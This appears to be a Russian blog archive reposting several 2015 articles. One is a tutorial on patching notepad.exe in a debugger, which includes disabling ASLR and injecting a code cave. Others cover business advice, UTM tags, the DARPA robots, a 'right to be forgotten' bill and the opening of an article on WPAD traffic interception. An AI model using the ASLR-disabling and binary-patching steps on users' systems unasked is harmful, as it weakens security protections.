вторник, 30 июня 2015 г.

«Прокачиваем» notepad.exe / Хабрахабр

«Прокачиваем» notepad.exe

image

Какая ассоциация связана у Вас с клавишей F5? Обновление страницы в браузере? Копирование файла из одной директории в другую? Запуск приложения из Visual Studio? А вот авторы notepad.exe подошли к этому вопросу довольно оригинально — по нажатию клавиши F5 происходит добавление текущей даты и времени в место, куда в этот момент указывает курсор. Всё было бы круто, если бы в notepad.exe была такая популярная и вполне естественная для большинства текстовых редакторов фича, как перечитывание содержимого текущего файла, которая, казалось бы, и должна быть назначена на F5 / Ctrl-R или ещё какой-нибудь общепринятый хоткей.

Мы можем ждать, пока её реализуют Microsoft, выбрать другой текстовый редактор (ведь это не единственное ограничение по функционалу стандартного notepad.exe) или… Взять в руки дизассемблер, отладчик и редактор PE-файлов.

Как протекал процесс, и что из этого вышло, читайте под катом (осторожно, много скриншотов). Перед прочтением данной статьи также настоятельно рекомендую ознакомиться с предыдущими.

Чтобы не иметь дело с теми же неудобствами, с которыми мы столкнулись в предыдущей статье, давайте для начала отключим использование ASLR. Согласно вики, ASLR (Address space layout randomization) — это технология, при использовании которой случайным образом изменяется расположение в адресном пространстве процесса важных структур, а именно: образа исполняемого файла, подгружаемых библиотек, кучи и стека. Именно из-за неё в прошлый раз перезапуск приложения и приводил к изменению уже найденных нами ранее адресов. Если Вы используете Windows XP или более старую ОС, то можете с лёгкостью пропустить то, о чём будет рассказано в нескольких следующих абзацах, ведь ASLR на тот момент ещё не было.

Отключить использование ASLR можно как глобально (для этого необходимо добавить / отредактировать значение опции «MoveImages», хранящейся в реестре по адресу «HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management», чтобы сделать её равной нулю), так и локально, т.е. для конкретного исполняемого файла. Последний вариант выглядит более привлекательным, особенно если речь идёт не о виртуальной машине, а о реальной системе, так что давайте остановимся на нём.

Копируем notepad.exe в любую отличную от "%WINDIR%\System32" директорию, скачиваем, разархивируем и запускаем PE Tools, нажимаем Alt-1 и выбираем скопированный ранее notepad.exe:

image

Нажимаем на кнопку «Optional Header» и смотрим на поле DLL Flags, которое в нашем случае равно 0x8140:

image

Значение в этом поле является результатом выполнения операции битового «OR» для констант, перечисленных в официальной документации на MSDN. Несложно заметить, что наш бинарник обладает следующими характеристиками:

IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE
0x8000
The image is terminal server aware

IMAGE_DLLCHARACTERISTICS_NX_COMPAT
0x0100
The image is compatible with data execution prevention (DEP)

IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
0x0040
The DLL can be relocated at load time

Обратили внимание на последнее значение? Что ж, это именно то, что нас интересует. Меняем 0x8140 на 0x8100, нажимаем «Ok» в обоих окнах и приступаем к отладке.

На какие этапы можно условно разделить наш патчинг notepad.exe?

  • Поиск адреса, по которому хранится путь до текущего файла
  • Поиск процедуры считывания содержимого файла
  • Поиск кода, отвечающего за обработку нажатия клавиши F5
  • Собственно, написание самого патча

Открываем notepad.exe в OllyDbg и приступаем к первому этапу.

Подойти к поиску адреса, по которому хранится путь до текущего файла, можно сразу с нескольких сторон. Можно, например, отыскать процедуру, которая занимается открытием файла (вероятнее всего, в случае успеха она сохраняет путь до файла по какому-то адресу), а можно посмотреть на реализацию алгоритма сохранения файла (очевидно, он должен знать либо хэндл текущего файла, либо путь до него). Предлагаю остановиться на втором варианте.

Надеясь, что файл при сохранении каждый раз открывается заново, ставим бряки на вызовы WinAPI-функции CreateFileW:

image

Нажимаем Ctrl-S, выбираем имя файла (в моём случае это «C:\helper.txt») и останавливаемся на следующем месте:

image

Посмотрим, откуда и с какими аргументами нас позвали:

image

Если посмотреть, на что указывает адрес, переданный в качестве второго аргумента (right-click по строке с данным аргументом -> Follow address in stack), то мы увидим как раз наш путь:

image

Давайте посмотрим на код, находящийся перед вызовом исследуемой нами процедуры, чтобы понять, откуда и как именно к нам попал этот адрес:

image

Как Вы видите, адрес, по которому хранится путь до файла, содержится в EBP-8. Давайте снова нажмём Ctrl-S и посмотрим, куда мы попадём на этот раз (ведь теперь программа уже знает путь до файла, что может поменять ход работы приложения):

image

Итак, мы оказались на том же самом бряке, что и раньше, однако позвали нас уже из другого места:

image

На этот раз адрес, по которому содержится путь до файла, хранится в регистре EBX. С момента начала текущего case-блока (обратите внимание на комментарий несколькими инструкциями раньше выделенного места) значение данного регистра не изменяется, что означает, что искать оригинальный адрес надо где-то раньше. Смотрим, какие инструкции ссылаются на начало данного case-блока (left-click по адресу 0x01004D5D -> Ctrl-R):

image

Раз такое обращение всего одно, прыгаем на него по нажатию клавиши Enter и сразу же видим, откуда в EBX появляется данный адрес:

image

Итак, мы поняли, что по адресу 0x0100CAE0 хранится путь до текущего файла. Что дальше? А дальше мы должны найти процедуру, ответственную за считывание содержимого файла.

Очевидно, что она также будет вызывать CreateFileW (вместо этого мы могли бы перехватить вызов функции GetOpenFileName, но её нет в списке межмодульных вызовов — видимо, вместо неё используется Common Item Dialog API, которое рекомендуется на MSDN). Нажимаем Ctrl-O, выбираем любой файл (я выбрал тот же самый) и, не успев сделать двойной клик мышью, оказываемся на бряке по адресу 0x01006E8C:

image

Проделываем то же самое несколько раз, прежде чем убрать данный бряк и надеяться на остальные. И правда, после того, как был убран бряк по указанному ранее адресу, мы всё же смогли сделать двойной клик по интересующему нас файлу, в результате чего сработала точка останова уже совершенно в другом месте:

image

Итак, наша задача — выяснить, каким образом и какую именно процедуру необходимо вызвать, чтобы успешно перечитать интересующий нас файл. Ставим бряк на адрес, с которого нас позвали

image

, нажимаем F9, и… Он тут же срабатывает! Ничего, снова нажимаем F9, пытаемся передать фокус окну notepad.exe и видим, что бряк снова срабатывает. Да что ж такое! Давайте посмотрим на начало процедуры, которую вызывает данный CALL:

image

Обратите внимание на единственный комментарий — судя по кол-ву обрабатываемых значений и тому, что мы наблюдаем на практике, данная процедура служит для реакции на любое выполняемое пользователем действие, будь то передача окну notepad.exe фокуса или открытие файла. Видимо, после нажатия Ctrl-O программа не выполняет никакого CALL'а, а лишь переходит на соответствующий case-блок при помощи операции условного перехода. Давайте уберём данный бряк, ещё раз попытаемся открыть файл и найдём ближайшую к бряку, стоящему на месте вызова CreateFileW, инструкцию, к которой есть обращения в коде. Ею оказалась инструкция по адресу 0x01004DF5:

image

Ставим бряки на оба обращения, проделываем те же самые действия и оказываемся тут:

image

Ставим бряк на начало данного case'а, снова открываем тот же самый файл и пытаемся понять, что тут происходит:

  01003ECC   > \33FF          XOR EDI,EDI                                    01003ECE   .  57            PUSH EDI  01003ECF   .  E8 90D7FFFF   CALL notepad.01001664      01003ED4   .  85C0          TEST EAX,EAX    01003ED6   .^ 0F84 8ED9FFFF JE notepad.0100186A    01003EDC   .  A1 0CC00001   MOV EAX,DWORD PTR DS:[100C00C]  01003EE1   .  8945 F0       MOV DWORD PTR SS:[EBP-10],EAX    01003EE4   .  8D45 F8       LEA EAX,DWORD PTR SS:[EBP-8]  01003EE7   .  50            PUSH EAX                                   01003EE8   .  FF75 F4       PUSH DWORD PTR SS:[EBP-C]                  01003EEB   .  E8 31000000   CALL notepad.01003F21                          01003EF0   .  8BF0          MOV ESI,EAX  01003EF2   .  3BF7          CMP ESI,EDI    01003EF4   .  0F8D FB0E0000 JGE notepad.01004DF5  01003EFA   .  81FE C7040780 CMP ESI,800704C7  01003F00   .  0F85 DC0E0000 JNZ notepad.01004DE2  01003F06   >  3BF7          CMP ESI,EDI  01003F08   .  0F8D E70E0000 JGE notepad.01004DF5  01003F0E   >  8B45 F0       MOV EAX,DWORD PTR SS:[EBP-10]  01003F11   .  A3 0CC00001   MOV DWORD PTR DS:[100C00C],EAX  01003F16   .  56            PUSH ESI  01003F17   .^ E9 A2FCFFFF   JMP notepad.01003BBE  

Теперь давайте посмотрим, какие регистры и адреса использует код по адресу 0x01004DF5, чтобы понять, какое «окружение» необходимо для его корректной работы:

image

Разумеется, данный код обращается к EBP-8, по которому, как Вы помните, хранится путь до открываемого файла. Помимо этого, ему также важно значение регистра EDI, который используется в качестве аргументов для параметров hTemplateFile и pSecurity. Первое мы можем достать из адреса 0x0100CAE0, а в обозначенные параметры можно просто передать ноль.

Теперь давайте найдём код, отвечающий за обработку нажатия клавиши F5. Для этого предлагаю поставить бряк на вызовы функций, отвечающих за получение текущего времени. Наиболее популярные из них — GetSystemTime и GetLocalTime. Первой нет в списке межмодульных вызовов, а вот вторая вызывается сразу из двух мест:

image

Ставим бряки, нажимаем F5 и оказываемся тут:

image

Прыгаем на место вызова текущей процедуры и попадаем практически в самое начало ещё одного case-блока, который, очевидно, и отвечает за обработку нажатия F5:

image

Отлично. Ищем место для нашего code cave'а и пишем (разумеется, адреса могут отличаться):

0100BEB3      33FF          XOR EDI,EDI  0100BEB5      C745 F8 E0CA0>MOV DWORD PTR SS:[EBP-8],notepad.0100CAE0      0100BEBC      A1 0CC00001   MOV EAX,DWORD PTR DS:[100C00C]  0100BEC1      8945 F0       MOV DWORD PTR SS:[EBP-10],EAX  0100BEC4    ^ E9 2C8FFFFF   JMP notepad.01004DF5  

Вставляем по адресу 0x0100447B прыжок на наш code cave:

image

Нажимаем F9, снова жмём F5 и наблюдаем следующую картину:

image


Как видите, мы упали где-то в недрах функции CoTaskMemFree. Обратите внимание на аргумент, переданный этой функции — да-да, это адрес нашей строки с путём до файла. Значит, память под неё необходимо выделять при помощи CoTaskMemAlloc. В этом нам может помочь функция SHStrDup, которая создаёт дупликат переданной ей строки, выделив память под неё при помощи CoTaskMemAlloc.

Перезапускаем notepad.exe и ищем адрес функции SHStrDupW в IAT. Для этого смотрим на вызов любой другой WinAPI-функции в модуле:

image

Следовательно, адрес функции GetDlgItemTextW в IAT — 0x010012A4. Прыгаем на него и ищем нашу SHStrDupW:



Получается, её вызов можно оформить в виде инструкции CALL DWORD PTR DS:[010013B4]. Тогда пишем следующий код (проверка на наличие ошибок опущена):

0100BFA5   .  33FF             XOR EDI,EDI  0100BFA7   .  8D45 F8          LEA EAX,DWORD PTR SS:[EBP-8]  0100BFAA   .  50               PUSH EAX                                            0100BFAB   .  68 E0CA0001      PUSH notepad.0100CAE0                               0100BFB0   .  FF15 B4130001    CALL DWORD PTR DS:[<&SHLWAPI.SHStrDupW>]            0100BFB6   .  A1 0CC00001      MOV EAX,DWORD PTR DS:[100C00C]  0100BFBB   .  8945 F0          MOV DWORD PTR SS:[EBP-10],EAX  0100BFBE   .^ E9 328EFFFF      JMP notepad.01004DF5  

Открываем наш файл «C:\helper.txt», убеждаемся, что он пустой, редактируем и сохраняем его в другой копии notepad.exe, нажимаем F5 в отлаживаемой нами версии, и… Файл обновляется!

Давайте сохраним наши изменения в исполняемый файл. Делаем right-click по окну CPU -> Copy to executable -> All modifications -> Copy all и видим:



Получается, что мы вылезли за физические границы исполняемого файла. Давайте взглянем на границы секций в PE Tools (кнопка «Sections»)

image

и поместим наш code cave в какое-нибудь другое место. Для получения верхней «границы» области для «безболезненного» патча мы должны сложить Virtual Offset секции .text, куда мы собираемся положить наш патч, её Raw Size и Image Base, т.е. Virtual Offset (0x00001000) + Raw Size (0x0000A800) + Image Base (0x01000000) = 0x0100B800. Поместим его, например, по адресу 0x0100B6CF и попытаемся сохранить изменения ещё раз (right-click по окну CPU -> Copy to executable -> All modifications -> Copy all -> right-click на появившемся окне -> Save file).

Проверяем получившийся исполняемый файл на работоспособность и убеждаемся, что всё ведёт себя так, как и ожидается.

Послесловие


Цель данной статьи — в очередной раз продемонстрировать возможность добавления собственного функционала в существующие программы, не имея при этом на руках исходных кодов. А теперь возвращайтесь к своим vim'ам / emacs'ам / Notepad++ / etc, но помните — если Вы встретите баг или обратите внимание на отсутствие какого-либо функционала в редакторе с закрытым кодом, теперь Вы знаете, что надо делать.

Спасибо за внимание, и снова надеюсь, что статья оказалась кому-нибудь полезной.


Sent from my iPhone

вторник, 23 июня 2015 г.

Ни о чем не жалейте: 25 правил старейшего миллиардера мира! — Новые связи и возможности — Профессионалы.ru


Ни о чем не жалейте: 25 правил старейшего миллиардера мира!

​На днях старейшему миллиардеру мира Дэвиду Рокфеллеру исполнилось 100 лет. Forbes выбрал из его интервью, данных журналу, и автобиографической книги «Мемуары» цитаты, которые описывают правила жизни и бизнеса патриарха влиятельнейшей деловой династии.

1. Прибыль важна в бизнесе и в жизни.
«Прибыль, обладающая притягательной силой, создает рабочие места, увеличивает благосостояние и наделяет людей такими возможностями, на какие не способна ни одна социальная или экономическая система».

2. Развод и политика стоят дорого.
«Однажды адвокат нашей семьи сказал: «Две самые дорогие вещи, которые может позволить себе Рокфеллер, — пойти в политику или развестись».

3. Зарабатывая деньги, заводите друзей.
«Деда с его деловыми партнерами связывала крепкая дружба. В те редкие моменты, когда в разговоре он касался карьеры, я слушал рассказы о том, как весело им было, несмотря на долгие часы напряженной работы».

4. Один босс всегда лучше двух.
«Соглашения о совместном руководстве редко дают хороший результат, поскольку они представляют собой неудобный компромисс».

5. Не сидите в офисе…
«Я посетил клиентов банка в 42 из 50 штатов… съел примерно 10 000 деловых обедов (а если считать нью-йоркскиеи того больше) и принял участие в тысячах встреч с пользователями нашего сервиса и партнерами».

6. …и уезжайте от него как можно дальше.
«Я налетал более 5 млн миль (что равно 200 кругосветным путешествиям)… За 35 лет моей работе в «Чейз» я побывал в 103 странах, в том числе 41 разво Франции, 37 — в Англии… и триждыв длительных поездках по странам Африки к югу от Сахары».

7. Не бойтесь вести бизнес с друзьями.
«Я глубоко убежден, что наиболее успешные деловые связи основываются на доверии, взаимопонимании и преданноститех же качествах, без которых невозможна близкая дружба».

8. Защищайте капитализм.
«Никто не должен чувствовать вину за то, что делает деньги».

9. Капитализм требует, чтобы правительство и рынок работали в одном направлении.
«Надежда, что правительство или рынок в одиночку могут решить все проблемы, излечить все болезни, напоминает догму, далекую от практики».

10. Если вас что-то не устраивает, напишите человеку, за которого вы голосовали.
«Думаю, человек моего уровня должен иметь возможность донести свое мнение до членов Конгресса и администрации [президента США]. Разумеется, представители любой социальной группы вольны говорить о том, что их тревожит».

11. Правильная фамилия открывает одни двери…
«Фамилия Рокфеллер может быть преимуществом… На мои телефонные звонки отвечают чаще».

12. … и закрывает другие.
«Из-за нее же люди иногда относятся ко мне подозрительнее, скептичнее, чем к другим. Они считают, что я чего-то достиг благодаря фамилии, а не собственным усилиям».

13. Недоброжелатели найдутся всегда.
«Тому, кто хоть немного выделяется из толпы, нужно быть толстокожим».

14. Отцовство дает возможность по-новому взглянуть на себя.
«Сам став отцом, я осознал, что далеко не идеален в этой роли, и начал с большим пониманием относиться к слабостям своего папы. В этой роли ты делаешь все, что можешь».

15. Отстаивайте интересы семьи.
«Дед и его партнеры жестко вели дела, но таков был мир бизнеса того времени».

16. Серьезно, поддерживайте семью.
«Обычно я не участвовал публично в кампаниях Нельсона (старший брат Дэвида Рокфеллера, с 1959-го по 1973 год был губернатором Нью-Йорка, с 1974-го по 1977-й — вице-президентом США, — Forbes.), но когда он появился на «моей территории» (Дэвид в молодости работал помощником мэра Нью-Йорка, — Forbes.), я почувствовал, что как брат должен выступить в его поддержку».

17. Хотя семья порой преподносит сюрпризы.
«Мы были шокированы, когда узнали о романе Нельсона с Хэппи (Happy — «Счастливица» — прозвище любовницы Нельсона Рокфеллера Маргарет Фитлер Мерфи, которая впоследствии стала второй его женой). Часто самые близкие узнают обо всем последними».

18. Заведите хобби.
«Еще ребенком, пройдя курс естествознания, я влюбился в жуков. Куда бы я ни поехал, банка всегда в кармане. Коллекционировать жуков несложно — у них прочные панцири».

19. И найдите хорошего учителя.
«Интерес к истории, не покидающий меня всю жизнь, возник благодаря Элмине Лак, учительнице шестого класса, на уроках которой прошлое оживало».

20. Противоположности действительно сходятся.
«Хотя нам с женой было хорошо вместе, у нас совершенно разные интересы, которые мы преследовали отдельно друг от друга. Это и есть ключ к нашему очень долгому и очень счастливому браку».

21. Живите по средствам.
«Доступные кредиты легко приводят как к масштабной спекуляции, так и к чрезмерному расширению».

22. Полюбите приключения.
«В Принстоне мой брат Лоренс делил комнату с крутыми ребятами, любившими оторваться. Он говорил, что в жизни нужно попробовать все… Позже он стал весьма успешным венчурным инвестором — его интерес к неординарным идеям никогда не угасал».

23. Побывайте за границей.
«Мои родители считали, что дети должны сперва хорошо узнать свою страну. Тем не менее, для нас так же важно было, по их настоянию, познакомиться с европейской культурой».

24. Ни о чем не жалейте.
«От моего деда ни разу не слышали даже вздоха сожаления — ни его сын, ни внуки, ни кто-либо еще. Он был уверен, что «Стандард Ойл» приносила обществу пользу».

25. Создавайте нечто долговременное.
«Радость предпринимательства — в создании чего-то постоянного, долговременного и обладающего ценностью для окружающих»

Источник

19 советов от 50-летних тем, кому ещё 30! — Новые связи и возможности — Профессионалы.ru


19 советов от 50-летних тем, кому ещё 30!

Сайт Quora провел исследование и спросил людей, которым уже за 50, какие правила они бы посоветовали соблюдать 30-летним, чтобы это оказалось полезно в будущем. Ответы оказались очень простыми, но при этом очень правильными и мудрыми.


1. Бросайте курить.
«Если бы вы могли видеть меня сейчас, я бы опустилась на свои бедные, скрипучие колени и попросила хотя бы подумать о том, чтобы бросить курить», — пишет одна из пользователей. Нет, правда, это дорого, неприятно пахнет и со 100%-ной гарантией вызовет проблемы со здоровьем. Может, пора уже перестать?

2. Поддерживайте (или восстановите) хорошие отношения с родителями, братьями и сестрами.
Даже если вы считаете, что у вас очень непростые отношения с семьей и порой вы друг друга ненавидите — нужно научиться ладить с близкими. Семейные узы очень важны. В скором времени вы поймете, что это и есть самое настоящее богатство.

3. Пользуйтесь солнцезащитным кремом.
Хотите морщины, сухую, шелушащуюся и тонкую кожу, синяки чуть ли не от любого прикосновения? Тогда идите на пляж и наслаждайтесь солнцем без защитного крема.

4. Занимайтесь спортом. Это действительно важно.
Ведите активный образ жизни сейчас, тогда вы будете достаточно активными и в 50. Не набирайте вес. Делайте физические упражнения. Держите организм и тело в норме.

5. Начните экономить деньги. Даже если получается оставлять совсем чуть-чуть.
Да, это скучный, банальный и неинтересный совет, но это правда необходимо. В 30 лет у человека почти всегда остается немного денег, которые можно сохранить. Начните экономить сейчас — и со временем получится сделать из этого неплохие накопления.

6. Научитесь довольствоваться тем, что у вас есть.
Счастье имеет гораздо большее значение, чем слава или успех. Вместо жалоб научитесь радоваться тому, что у вас есть, и вы почувствуете себя по-настоящему счастливым человеком.

7. Не откладывайте достижение жизненных целей на потом.
Хотите купить дом? Написать книгу? Получить ученую степень или второе высшее образование? Изменить карьеру? Освоить новый музыкальный инструмент? Запустить бизнес и работать на себя? Тогда начните сегодня. Не говорите, что вы вернетесь к этому когда-нибудь. Время действительно словно ускоряется после 30.

8. Высыпайтесь.
Спите достаточно. Ложитесь и вставайте в одно и то же время. Избавляйтесь от бессонницы.

9. Заботьтесь о своих зубах.
С возрастом проблем с зубами становится только больше. Лечение отнимает все больше времени и денег. Поэтому не нужно тянуть с лечением, пока вмешательство доктора не станет просто необходимым.

10. Копите воспоминания, а не вещи.
Вы — это ваш жизненный опыт. Очень грустно проснуться в 50 и понять, что, кроме материальных благ, вы не накопили ничего. Воспоминания нельзя выбросить, и они никогда не обесценятся.

11. Научитесь отдавать.
Совершайте добрые поступки. Давайте другим то, что приносит им радость. Но делайте это с душой и от всего сердца. Не ждите ничего взамен. Тогда и ваше сердце наполнится любовью.

12. Будьте любопытны. Делайте каждый день что-то, что пугает вас.
Выйдите из дома и сделайте что-нибудь сумасшедшее. Ввяжитесь в настоящее приключение! Делайте много фотографий, возьмите кого-нибудь из близких. Эти воспоминания будут греть вас и в старости.

13. Перестаньте есть гадости.
За всю свою жизнь вы можете заработать сколько угодно денег и потратить их на что угодно. Но здоровье купить не получится. Лучше откажитесь от фастфуда, алкоголя и прочей дряни прямо сейчас.

14. Читайте хотя бы по 10 книг в год.
Вашему мозгу все время нужно развиваться, поэтому перестаньте тратить кучу времени на телевизор и видеоигры и почитайте хорошую книгу.

15. Путешествуйте. Как можно больше.
Путешествия меняют нас. Они отвечают нам на многие вопросы. Они вдохновляют. Они заставляют перестать бояться. Путешествие — это та самая вещь, которая поможет вам почувствовать себя живым.

16. Научитесь медитировать.
Это займет совсем немного времени, а изменения в вашей жизни будут удивительными. И есть множество научных исследований, которые подтверждают это.

17. Будьте собой. Перестаньте сравнивать себя с кем-либо.
Поверьте, когда вам будет 50, вам будет совершенно все равно, какое впечатление вы производите на окружающих. Начните свой путь. Станьте сильными.

18. Ведите дневник.
Вы забудете большинство ваших драгоценных воспоминаний. Записывайте их. И обязательно сохраняйте фотографии.

19. Берегите своих друзей.
Держитесь за людей, которые помогают вам чувствовать себя лучше, которые бросают вам вызов своим примером, которые вам действительно нравятся. Смейтесь вместе с ними. Занимайтесь глупостями. Наслаждайтесь жизнью.

понедельник, 22 июня 2015 г.

UTM-метки: детальное отслеживание рекламного трафика


UTM-метки: детальное отслеживание рекламного трафика

Что такое UTM-метки?

UTM-метка – это переменная, которая добавляется в URL в виде _GET параметра. Она позволяет системе веб-аналитики получить дополнительную информацию о переходе по ссылке.

Зачем нужны UTM-метки?

UTM-метки помогают получить более детальную информацию об источниках тарфика. С их помощью можно:

  • Отследить практически любой оплачиваемый источник трафика
  • Сегментировать трафик по типу (оплата за клик / медийная реклама)
  • Оценить эффективность каждой рекламной кампании

Как использовать UTM-метки на практике?

UTM-переменные можно использовать для того, чтобы отследить:

Как это работает?

В URL страницы, которую Вы рекламируете, нужно добавить информацию об источнике перехода.

Рассмотрим простой случай. Допустим, Ваше рекламное объявление в Яндекс.Директе ссылается на страницу:

http://www.domain.ru/advertise-page/

Тогда адрес этой же страницы с расширенной информацией будет выглядеть так:

http://www.domain.ru/advertise-page/?utm_source=Yandex-Direct&utm_medium=CPC&utm_campaign=Yandex-Direct-Prazdnichnyj-tarif&utm_term={keyword}

Таким способом мы предали Google Analytics 4 параметра (4 UTM метки): utm_source, utm_medium, utm_campaign, utm_term.

Что означают эти UTM метки?

Теперь мы можем оценить эффективность:

  • рекламной системы
  • типа трафика (текстовые объявления или медийные)
  • кампаний
  • ключевых слов.

Как сохранить предпоследний источник трафика?

Давайте разберёмся, когда это нужно делать. Здесь речь идёт не о том, какой рекламной кампании приписывать заслугу совершения конверсии на сайте. Это нужно скорее для того, чтобы учесть кое-какие технические особенности работы сайта.

Пример для понимания:

Когда посетитель перейдёт по ссылке из письма, у него сменится источних трафика (т.к. реферером уже будет не наш сайт, а сайт почтового веб-сервиса). Это значит, что у данного посетителя начнётся новая сессия и конверсия будет засчитана отнюдь не контекстной рекламной кампании.

Чтобы этого избежать, используется параметр "utm_nooverride". Он работает так:

  • Если посетитель пришёл на сайт впервые, Google Analytics запоминает всю информацию о нём как обычно. Т.е. ему присвоится текущий источник трафика.
  • Если это не первое посещение, то utm_nooverride=1 не даст Google Analytics перезаписать источник тарфика на текущий.

Не нужно использовать utm_nooverride для того, чтобы просто определять, какому источнику трафика присваивать конверсию, т.к. будет потеряна информация обо всех источниках трафика кроме первого.

Безопасное использование UTM-меток с точки зрения SEO

Небольшая опасность при использовании UTM-меток заключается в том, что у посетителя, пришедшего по такой ссылке, в адресной строке отображается URL с дополнительными параметрами. Т.е. по сути – это копия оригинальной страницы, о которой может узнать поисковый робот и которую он может посчитать за независимую страницу.

Поисковик случайно может получить адрес с UTM-метками в двух случаях:

  • Посетитель сайта решил поделиться ссылкой на странцу на своём сайте / форуме / в социальных сетях. Вы же не рассчитываете, что каждый Ваш посетитель знает о UTM-метках и будет их вычищать перед публикацией ссылки?
  • Система Яндекс.Метрика (если действуют настройки по умолчанию) отправляет на индексацию поиску Яндекса все новые страницы. Эту опцию можно отключить в настройках.

Обезопасить себя можно несколькими способами:

  • с помощью js можно подменить URL в адресной строке, чтобы посетитель не смог скопировать неправильный URL
  • добавить meta-тэг rel="canonical", который склеит несколько копий страницы в одну (можно указать, какую страницу считать основной)
  • с помощью robots.txt запретить к индексации страницы, которые содержат UTM-метки
  • для Яндекса в robots.txt ещё можно указать параметры UTM-меток в директиве Clean-Param

воскресенье, 21 июня 2015 г.

Видео: «роботопад» на турнире DARPA Robotics Challenge 2015 / Новости hardware / 3DNews - Daily Digital Digest


Видео: «роботопад» на турнире DARPA Robotics Challenge 2015

СМИ, как правило, рассказывают о передовых достижениях в области робототехники, подкрепляя техническое описание наглядным видео с инновационным механизмом. В таких роликах демонстрируются возможности автоматизированных машин — их способность преодолевать сложные препятствия на пути своего движения, адаптироваться к особенностям окружающей среды, умение маневрировать, текущий уровень взаимодействия с другими устройствами и человеком. Последним примером того, на что способны современные роботы, стали испытания хорошо известного читателям 3DNews робота-гепарда Сheetah, во время которых он на ходу ловким прыжком преодолевал появляющиеся преграды высотой вплоть до 40 см.

Стоит отметить, что на опубликованном специалистами Массачусетского технологического института видео Cheetah практически идеально выполнил поставленную перед ним задачу, удерживая равновесие при приземлении на беговую дорожку и не сбрасывая общий темп движения. 

Однако зачастую все курьёзные моменты, случающиеся во время испытаний, остаются или за кадром, или не афишируются компанией-разработчиком ввиду главных причин подобных казусов — несовершенства конструкции и алгоритма, на который ориентируется механизм. Ярким примером этого являются испытания в рамках турнира DARPA Robotics Challenge 2015, заключительный этап которого прошёл на этих выходных, а победителем была признана модель DRC-Hubo южнокорейской команды KAIST. 

Трёхчасовая запись выступления нескольких роботов-финалистов DARPA Robotics Challenge 2015

Участники данного соревнования — роботы — должны успешно справиться с выполнением самых разнообразных упражнений, выбранных организаторами турнира, а победитель — команда разработчиков — получить за свои труды и вклад в науку $2 млн. В перечень операций, с которыми столкнутся искусственные участники DARPA Robotics Challenge, входит маневрирование среди препятствий, управление транспортным средством, подъём или спуск по лестнице, открытие дверей, участие в аварийно-спасательной миссии с нажатием при помощи конечностей-манипуляторов рычагов, кнопок и т.п.

Увы, но представленное ниже видео говорит о том, что даже участники DARPA Robotics Challenge весьма и весьма далеки от совершенства и пока не готовы стать полноценной заменой человека. Роботы, опирающиеся на две конечности, любят падать. И делают они это очень часто. Причиной падений на ровном месте, казалось бы, самых продвинутых на сегодня и совершенных в техническом плане машин является вовсе не высокий уровень сложности испытаний. Автоматизированные механизмы по-прежнему имеют мало общего с тем, что любят демонстрировать зрителям режиссёры голливудских блокбастеров. Нынешние человекоподобные роботы — это неуклюжие, громоздкие и неустойчивые машины, для которых даже перемещение по безупречно ровной поверхности может стать причиной смены вертикальной ориентации в пространстве на горизонтальную. 

Компиляция эпизодов с падающими роботами 

К слову, если раньше правила DARPA Robotics Challenge разрешали страховать участников при помощи специальных тросов, чтобы те в случае потери равновесия оставались невредимыми, то теперь важной составляющей при проектировании робота является защита от падения и его устойчивость. Тем не менее, как показывает практика, общая картина поменялась не слишком сильно. 

«Удивительно, насколько сильно мы прониклись этими неодушевлёнными конструкциями, представляющих собой всего лишь кучку алюминия, медной проволоки и программное обеспечение. Но ведь я не переживаю и не испытываю эмоций, когда речь идёт о моём ноутбуке. Зато люди поддерживают и болеют за этих роботов. И, конечно, когда кто-то из них падает, мы все чувствуем себя просто ужасно», — поделился своими впечатлениями руководитель программы DARPA Гилл Прэтт (Gill Pratt). 


пятница, 19 июня 2015 г.

Госдума приняла в первом чтении законопроект о «праве на забвение» → Roem.ru


Госдума приняла в первом чтении законопроект о «праве на забвение»

Госдума практически единогласно приняла в первом чтении закон о «праве на забвение», по которому граждане смогут требовать удалять ссылки на недостоверную, устаревшую на более чем три года или незаконную информацию о них. Рунет закон дружно не поддержал, но GR-усилий интернет-компаний не хватило и депутаты сделали выбор.

Против законопроекта проголосовал лишь 1 депутат — Дмитрий Гудков.

  • 423 депутатов поддержали законопроект
  • Не голосовало 26 человек
  • Воздержавшихся нет

Очир Манджиков, директор по связям с общественностью «Яндекса»:

Нам невероятно жаль, что в очередной раз законопроект, касающийся развития интернета в России, рассматривается в таком скоропалительном режиме. 29 мая появился текст законопроекта, который стал полной неожиданностью для интернет-отрасли и широкой общественности, и уже сегодня он принят в первом чтении. Ни одна интернет-компания не оспаривает право человека на тайну частной жизни, но никто не понимает, почему депутаты снова не прислушались к конструктивной критике и предложениям интернет-компаний и пользователей.

Мы глубоко убеждены, что поиск информации и доступ к ней являются базовыми и неотъемлемыми правами человека, это же закреплено в статье 29 Конституции РФ. Мы считаем, что текущий законопроект:

1. абсолютно не решает поставленных целей — ограничение распространения в интернете информации о гражданине, «которая является недостоверной, неактуальной или распространяемой с нарушением законодательства» и «защита чести, достоинства и деловой репутации граждан»;

2. содержит явные противоречия действующему российскому законодательству;

3. необоснованно и непропорционально ограничивает права граждан на поиск информации и доступ к ней;

4. предлагает передать функции судов или правоохранительных органов коммерческим организациям — поисковикам;

5. вводит явный дисбаланс между частными и общественными интересами;


6. не учитывает принципы работы поисковых систем и технические особенности развития интернета;

7. кардинально отличается от решения Европейского суда, на которое ссылаются авторы законопроекта и которое само по себе является объектом серьёзной критики.

суббота, 13 июня 2015 г.

Перехватываем трафик с помощью WPAD | «Хакер»


ПЕРЕХВАТЫВАЕМ ТРАФИК С ПОМОЩЬЮ WPAD

WPAD — это весьма простой протокол для автоматической настройки прокси-сервера. В этой статье я расскажу, как он устроен, какие возможности для эксплуатации он предоставляет с точки зрения злоумышленника, а также поделюсь идеями, как можно использовать эту технологию для частичного перехвата HTTPS-трафика.

О протоколе

WPAD (Web Proxy Auto Discovery protocol) служит для того, чтобы найти файл PAC (Proxy Auto Config), представляющий собой JavaScript с описанием логики, по которой браузер будет определять, как подключаться к нужному URL. При совершении любого запроса браузер вызывает функцию FindProxyForURL из PAC-файла, передает туда URL и хост, а в результате ожидает узнать, через какие прокси ходить на этот адрес. Выглядит это примерно так:

function FindProxyForURL(url, host) {      if (host == "xakep.ru") {          return "PROXY proxy.com:8080";      } else      if (host == "microsoft.com") {          return "PROXY anotherproxy.com:5050";      } else {          return "DIRECT";      }  }

